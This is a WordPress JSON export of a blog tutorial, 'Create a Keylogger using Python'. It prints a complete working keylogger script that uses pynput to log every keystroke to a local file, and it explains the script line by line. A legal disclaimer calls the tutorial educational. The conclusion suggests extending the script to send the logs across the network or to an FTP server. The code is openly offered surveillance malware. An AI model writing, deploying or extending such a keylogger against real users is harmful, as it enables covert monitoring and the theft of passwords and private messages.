{"id":235,"date":"2022-08-21T12:10:32","date_gmt":"2022-08-21T12:10:32","guid":{"rendered":"https:\/\/codecrypt76.com\/?p=235"},"modified":"2022-11-25T16:50:54","modified_gmt":"2022-11-25T16:50:54","slug":"create-a-keylogger-using-python","status":"publish","type":"post","link":"https:\/\/codecrypt76.com\/index.php\/2022\/08\/21\/create-a-keylogger-using-python\/","title":{"rendered":"Create a Keylogger using Python"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" width=\"999\" height=\"415\" src=\"https:\/\/codecrypt76.com\/wp-content\/uploads\/2022\/08\/keylogger.png\" alt=\"keylogger\" class=\"wp-image-315\" srcset=\"https:\/\/codecrypt76.com\/wp-content\/uploads\/2022\/08\/keylogger.png 999w, https:\/\/codecrypt76.com\/wp-content\/uploads\/2022\/08\/keylogger-300x125.png 300w, https:\/\/codecrypt76.com\/wp-content\/uploads\/2022\/08\/keylogger-768x319.png 768w\" sizes=\"(max-width: 999px) 100vw, 999px\" \/><\/figure>\n\n\n\n<h2>Introduction<\/h2>\n\n\n\n<p>In this tutorial, you will learn how to write a keylogger in Python. A keylogger is a type of surveillance tool used to monitor and record each keystroke typed on a specific computer&#8217;s keyboard.<\/p>\n\n\n\n<h3>\u26a0\ufe0f LEGAL DISCLAIMER<\/h3>\n\n\n\n<p>When it comes to the legality of <a href=\"https:\/\/www.ncsl.org\/research\/telecommunications-and-information-technology\/computer-hacking-and-unauthorized-access-laws.aspx\">Keyloggers and other hacking tools, are legal to possess<\/a>. However, installing it on a computer, even your personal computer, can expose you to legal trouble. If you let anyone else use your computer without disabling the keylogger, or not inform them that it is active, you are likely violating federal law. The goal of this tutorial is for security awareness and educational purposes.<\/p>\n\n\n\n<h2>Implementing the Keylogger<\/h2>\n\n\n\n<p>This is the full Keylogger.py script.<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-python\" data-file=\"keylogger.py\" data-lang=\"Python\"><code>from pynput.keyboard import Key, Listener\nimport logging\n\n\nlogging.basicConfig(filename=&quot;keystroke_log.txt&quot;,\n                    level=logging.DEBUG,\n                    style=&quot;{&quot;,\n                    datefmt=&#39;%Y-%d-%M %H:%M:%S&#39;,\n                    format=&#39;[{asctime}]: {message}&#39;)\n\n\ndef on_press(key) -&gt; None:\n    logging.info(str(key))\n\n\ndef on_release(key) -&gt; bool:\n    if key == Key.esc:\n        return False\n\n\nwith Listener(on_press=on_press, on_release=on_release) as listener:\n    listener.join()<\/code><\/pre><\/div>\n\n\n\n<h2>Code Explanation<\/h2>\n\n\n\n<h3>Lines 1-2: Importing Required Libraries<\/h3>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-python\" data-file=\"keylogger.py\" data-lang=\"Python\"><code>from pynput.keyboard import Key, Listener\nimport logging<\/code><\/pre><\/div>\n\n\n\n<ul><li><code>pynput<\/code>: This library allows you to control and monitor input devices.<\/li><li><code>logging<\/code>: This library is used for tracking events that happen when some software runs<\/li><\/ul>\n\n\n\n<h3>Lines 5-9: Basic Log Configuration<\/h3>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-python\" data-file=\"keylogger.py\" data-lang=\"Python\"><code>logging.basicConfig(filename=&quot;keystroke_log.txt&quot;,\n                    level=logging.DEBUG,\n                    style=&quot;{&quot;,\n                    datefmt=&quot;%Y-%d-%M %H:%M:%S&quot;,\n                    format=&quot;[{asctime}]: {message}&quot;)<\/code><\/pre><\/div>\n\n\n\n<p>Here we create basic configuration for the logging system. We will specify the filename where keystrokes will be recorded as <code>keystroke_log.txt<\/code> followed by specifying the format in which the keystrokes will be stored which will be:<\/p>\n\n\n\n<ul><li><code>[YYYY-MM-DD HH-MM-SS]: 'key'<\/code><\/li><\/ul>\n\n\n\n<h3>Lines 12-13: Defining  On_Press() Function<\/h3>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-python\" data-file=\"keylogger.py\" data-lang=\"Python\"><code>def on_press(key) -&gt; None:\n    logging.info(str(key))<\/code><\/pre><\/div>\n\n\n\n<p>The function takes <code>key<\/code> as an argument, which is the key pressed by the user, and logs it into the file after converting it into a string.<\/p>\n\n\n\n<h3>Lines 16-18: Defining the On_Release() Function:<\/h3>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-python\" data-file=\"keylogger.py\" data-lang=\"Python\"><code>def on_release(key) -&gt; bool:\n    if key == Key.esc:\n        return False<\/code><\/pre><\/div>\n\n\n\n<p>The function takes <code>key<\/code> as an argument, which again is the key pressed by the user, and will terminate the Keylogger program if the <code>Esc key<\/code> is passed as an argument.<\/p>\n\n\n\n<h3>Lines 21-22: Getting Keystrokes<\/h3>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-python\" data-file=\"keylogger.py\" data-lang=\"Python\"><code>with Listener(on_press=on_press, on_release=on_release) as listener:\n    listener.join()<\/code><\/pre><\/div>\n\n\n\n<p>We create an instance of a Listener which would be recording keystrokes and pass the function we created as an argument. Then we use the <code>.join()<\/code> method to join it to the main thread. Therefore, every time a key is pressed, the listener is activated and it calls our function which then logs our keystrokes into the file.<\/p>\n\n\n\n<h2>Running The Python Keylogger<\/h2>\n\n\n\n<p>Run the program:<\/p>\n\n\n\n<div class=\"hcb_wrap\"><pre class=\"prism line-numbers lang-bash\" data-lang=\"Bash\"><code>$ python keylogger.py<\/code><\/pre><\/div>\n\n\n\n<p>Once the program is launched, you will not notice any activity. The program is running in the background. Just begin to type; when you are ready for the program to terminate, just press the <code>Esc<\/code> key. Once you do, you will notice a new file was created, <code>keystroke_log.txt<\/code>. This is the file that contains all of the recorded keystrokes.<\/p>\n\n\n\n<h2>Examining the keystroke_log.txt File<\/h2>\n\n\n\n<p>Below is a screenshot of my <code>keystroke_log.txt<\/code> file which shows my captured keystrokes:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img src=\"https:\/\/user-images.githubusercontent.com\/72005563\/180667835-91987058-e3c1-437a-9fa4-9b28ae912509.png\" alt=\"image\"\/><\/figure>\n\n\n\n<h2>Conclusion<\/h2>\n\n\n\n<p>Now you know how to construct a basic keylogger. This program can be extended to send <code>log files<\/code> across the network or even uploaded to an FTP Server where you can download it later for use. Remember, this tutorial and Keylogger script are strictly for educational purposes and it shouldn\u2019t be employed for malicious purposes. Please leave <code>like<\/code> or <code>comment<\/code> if you found this article interesting!<\/p>\n\n\n\n<h3>\ud83d\udd17 Resource Link<\/h3>\n\n\n\n<ul><li><a href=\"https:\/\/github.com\/seraph776\/DevCommunity\/tree\/main\/Keylogger\">GitHub Source Code<\/a><\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Learn how to write a keylogger in Python that can monitor and record each keystroke typed on a computer&#8217;s keyboard.<\/p>\n","protected":false},"author":1,"featured_media":315,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[17,54,4],"tags":[38,55,51,11],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/posts\/235"}],"collection":[{"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/comments?post=235"}],"version-history":[{"count":7,"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions"}],"predecessor-version":[{"id":319,"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions\/319"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/media\/315"}],"wp:attachment":[{"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/media?parent=235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/categories?post=235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codecrypt76.com\/index.php\/wp-json\/wp\/v2\/tags?post=235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}